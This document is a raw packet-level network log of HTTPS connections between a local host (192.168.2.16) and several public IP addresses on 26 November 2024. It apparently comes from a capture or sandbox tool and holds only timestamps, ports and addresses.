Nov 26, 2024 06:40:51.592365980 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.592372894 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.607633114 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.607691050 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.607700109 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.615881920 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.615936995 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.615943909 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.623075008 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.623137951 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.623143911 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.630803108 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.630856991 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.630865097 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.638645887 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.638690948 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.638696909 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.644665956 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.644728899 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.644736052 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.662477970 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.662547112 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.662554026 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.717870951 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.717880964 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.734900951 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:51.734930038 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:51.765882015 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.766927004 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.795445919 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.795458078 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.795500994 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.795532942 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.795547009 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.795562029 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.795573950 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.795587063 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.795605898 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.827590942 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.827604055 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.827641010 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.827673912 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.827675104 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.827716112 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.827722073 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.827730894 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.827738047 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.827755928 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.827778101 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.838290930 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.838299990 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.838376999 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.838376999 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.838413000 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.838606119 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.838618994 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.981354952 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:51.981386900 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:51.981467962 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:51.981714964 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:51.981728077 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:52.038153887 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:52.038227081 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:52.038314104 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:52.038472891 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:52.038506031 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:53.282874107 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.283211946 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.283241034 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.284692049 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.284764051 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.285799026 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.285912037 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.285932064 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.331331968 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.331846952 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.331855059 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.379838943 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.555969000 CET	49701	443	192.168.2.16	20.190.181.6
Nov 26, 2024 06:40:53.676505089 CET	443	49701	20.190.181.6	192.168.2.16
Nov 26, 2024 06:40:53.676573992 CET	49701	443	192.168.2.16	20.190.181.6
Nov 26, 2024 06:40:53.735402107 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.778842926 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.855865002 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.855879068 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.855907917 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.855926037 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.855936050 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.855937004 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.855952024 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.855998039 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.856012106 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.856050014 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.992274046 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.992289066 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.992316008 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.992326021 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.992364883 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.992387056 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:53.992408991 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:53.992439985 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.030710936 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.030741930 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.030812025 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.030819893 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.030862093 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.037472010 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.037712097 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:54.037751913 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.038094044 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.038108110 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.038167000 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:54.038177967 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.038223028 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:54.038722038 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.039633036 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:54.039705038 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.039777994 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:54.039787054 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:54.081873894 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:54.172509909 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.172538042 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.172589064 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.172606945 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.172636032 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.172647953 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.202322960 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.202387094 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.202428102 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.202441931 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.202471018 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.202488899 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.210691929 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.210768938 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.210777044 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.210793018 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:54.210841894 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.210975885 CET	49760	443	192.168.2.16	151.101.66.137
Nov 26, 2024 06:40:54.210989952 CET	443	49760	151.101.66.137	192.168.2.16
Nov 26, 2024 06:40:55.129736900 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.133419037 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.133518934 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.133553028 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.145143986 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.145236969 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.145256996 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.154791117 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.154876947 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.154891014 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.167505026 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.167608023 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.167632103 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.181124926 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.181221008 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.181238890 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.190720081 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.190795898 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.190810919 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.232875109 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.249952078 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.254019976 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.254117012 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.254146099 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.296914101 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.296952963 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.340148926 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.340239048 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.340259075 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.350620031 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.350682020 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.350697994 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.357727051 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.357795000 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.357809067 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.361337900 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.361404896 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.361426115 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.369595051 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.369652033 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.369667053 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.378228903 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.378308058 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.378324986 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.391871929 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.391936064 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.391949892 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.405960083 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.406023979 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.406039000 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.419243097 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.419327021 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.419348001 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.431998014 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.432061911 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.432076931 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.443831921 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.443983078 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.444000006 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.455594063 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.455694914 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.455733061 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.467376947 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.467461109 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.467478991 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.479206085 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.479300022 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.479331017 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.504138947 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.504254103 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.504271984 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.508325100 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.508394003 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.508411884 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.517894030 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.517970085 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.517987967 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.552541971 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.552634954 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.552656889 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.556926012 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.556982994 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.556999922 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.561489105 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.561520100 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.561547995 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.561567068 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.561619043 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.565763950 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.570089102 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.570168972 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.570194006 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.574390888 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.574474096 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.574490070 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.580410957 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.580476999 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.580507994 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.580631018 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.580679893 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.581267118 CET	49762	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.581307888 CET	443	49762	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.593065023 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:55.635343075 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:55.760307074 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.760399103 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:55.760478973 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.760668993 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:55.760704994 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:56.426067114 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:56.426134109 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:56.426196098 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:56.426862001 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:56.426881075 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:56.571069002 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:56.571178913 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:56.571278095 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:56.571465015 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:56.571501970 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:57.646368027 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.646651030 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:57.646693945 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.647223949 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.647242069 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.647349119 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:57.647372007 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.647435904 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:57.648260117 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.648463964 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:57.648564100 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.648607969 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:57.691884995 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:57.691910028 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:57.739878893 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:57.877631903 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:57.878024101 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:57.878055096 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:57.879137993 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:57.879216909 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:57.880270958 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:57.880346060 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:57.880424976 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:57.880434990 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:57.932627916 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:58.353622913 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:58.353703022 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:58.353760958 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:58.353992939 CET	49764	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:58.354017973 CET	443	49764	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:58.354485989 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:58.354547024 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:58.354625940 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:58.354908943 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:58.354923010 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:58.746085882 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.746133089 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.746203899 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.746273041 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.761039972 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.761112928 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.761152983 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.770817041 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.770889997 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.770911932 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.781744957 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.781805992 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.781831980 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.795448065 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.795523882 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.795557976 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.805059910 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.805118084 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.805135012 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.857871056 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.863691092 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.868033886 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.868082047 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.868114948 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.921869040 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.921892881 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.935514927 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.935573101 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.935592890 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.940140963 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.940196991 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.940213919 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.951373100 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.951426983 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.951443911 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.965051889 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.965107918 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.965125084 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.978656054 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.978717089 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.978733063 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.992397070 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:58.992455959 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:58.992472887 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.006010056 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.006084919 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.006102085 CET	443	49763	142.250.181.97	192.168.2.16
